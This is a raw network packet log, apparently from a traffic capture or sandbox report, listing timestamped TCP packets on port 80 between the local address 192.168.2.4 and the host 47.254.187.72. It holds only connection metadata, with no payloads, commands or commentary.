Jan 2, 2025 20:34:50.132989883 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133008003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133018970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133028984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133033991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133038998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133061886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133064032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133084059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133090973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133133888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133136034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133147001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133157969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133167982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133177042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133212090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133213043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133232117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133246899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133253098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133256912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133276939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133301973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133336067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133354902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133367062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133377075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133377075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133388996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133409977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133440971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133483887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133523941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133524895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133534908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133569002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133601904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133613110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133622885 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133632898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133645058 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133646011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133656025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133666992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133683920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133690119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133696079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133723021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133730888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133742094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133750916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133768082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133790016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133820057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133832932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133843899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133858919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133862019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133877993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133882046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133889914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133902073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.133924007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.133944035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.134043932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134054899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134064913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134076118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134087086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134090900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.134099007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134109974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134116888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.134140968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.134154081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134162903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.134165049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134176016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134195089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.134196997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134207964 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134216070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.134226084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134238005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134248972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134248972 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.134258986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.134274960 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.134298086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.135401011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.135412931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.135430098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.135440111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.135451078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.135451078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.135478020 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.135478973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.135498047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.135505915 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.135508060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.135541916 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.137448072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.137459993 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.137478113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.137489080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.137495995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.137501001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.137511969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.137516975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.137523890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.137550116 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.137569904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.144536972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.144556999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.144572020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.144582987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.144593954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.144604921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.144618034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.144622087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.144680023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.146771908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.146785021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.146796942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.146807909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.146825075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.146827936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.146835089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.146847010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.146852016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.146857977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.146888971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.146907091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.154330969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.154412031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.317262888 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.322118998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.703460932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.703480005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.703490973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.703531027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.703579903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.703707933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.703739882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.703747988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.703749895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.703762054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.703773975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.703774929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.703814983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.703824997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.704530954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.704544067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.704554081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.704586029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.704617977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.704715014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.704726934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.704739094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.704756021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.704782963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.706078053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.706089020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.706106901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.706134081 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.706171036 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.706965923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.706976891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.706988096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.707017899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.707056999 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.707112074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.707139969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.707149029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.707154989 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.707175970 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.707192898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.708606958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.708616972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.708628893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.708643913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.708664894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.708683968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.709316969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.709327936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.709340096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.709348917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.709353924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.709366083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.709400892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.710135937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.710148096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.710159063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.710185051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.710202932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.710263014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.710299969 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.710331917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.710371017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.710433006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.710479975 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.711699963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.711714029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.711726904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.711738110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.711766958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.711792946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.712506056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.712518930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.712531090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.712560892 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.712594032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.712611914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.712641954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.712651014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.712651968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.712692022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.714090109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.714099884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.714139938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.714180946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.714199066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.714221001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.714231968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.715167999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.715214968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.715226889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.715239048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.715250969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.715266943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.715291023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.716681957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.716736078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.716741085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.716751099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.716763020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.716773033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.716777086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.716799974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.716815948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.717222929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.717262030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.717272997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.717288017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.717315912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.718009949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.718034983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.718044996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.718061924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.718097925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.718195915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.718208075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.718240976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.719877958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.719919920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.719940901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.719950914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.719961882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.719973087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.719983101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.720004082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.720406055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.720432043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.720443010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.720452070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.720453978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.720479012 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.720504045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.722147942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.722158909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.722171068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.722179890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.722196102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.722198009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.722224951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.722245932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.722888947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.722908974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.722919941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.722930908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.722934008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.722954988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.722978115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.723727942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.723741055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.723751068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.723773003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.723798990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.723880053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.723890066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.723901033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.723923922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.723937988 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.725310087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.725321054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.725331068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.725358963 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.725384951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.725980043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.725997925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.726007938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.726022959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.726049900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.726102114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.726145983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.726146936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.726156950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.726186991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.727756023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.727766037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.727782011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.727801085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.727806091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.727811098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.727828026 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.727857113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.728471041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.728490114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.728499889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.728514910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.728537083 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.729105949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.729127884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.729136944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.729150057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.729178905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.729399920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.729412079 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.729420900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.729444027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.729461908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.730797052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.730808020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.730825901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.730834007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.730866909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.730894089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:50.731730938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:50.731741905 CET	80	49730	47.254.187.72	192.168.2.4
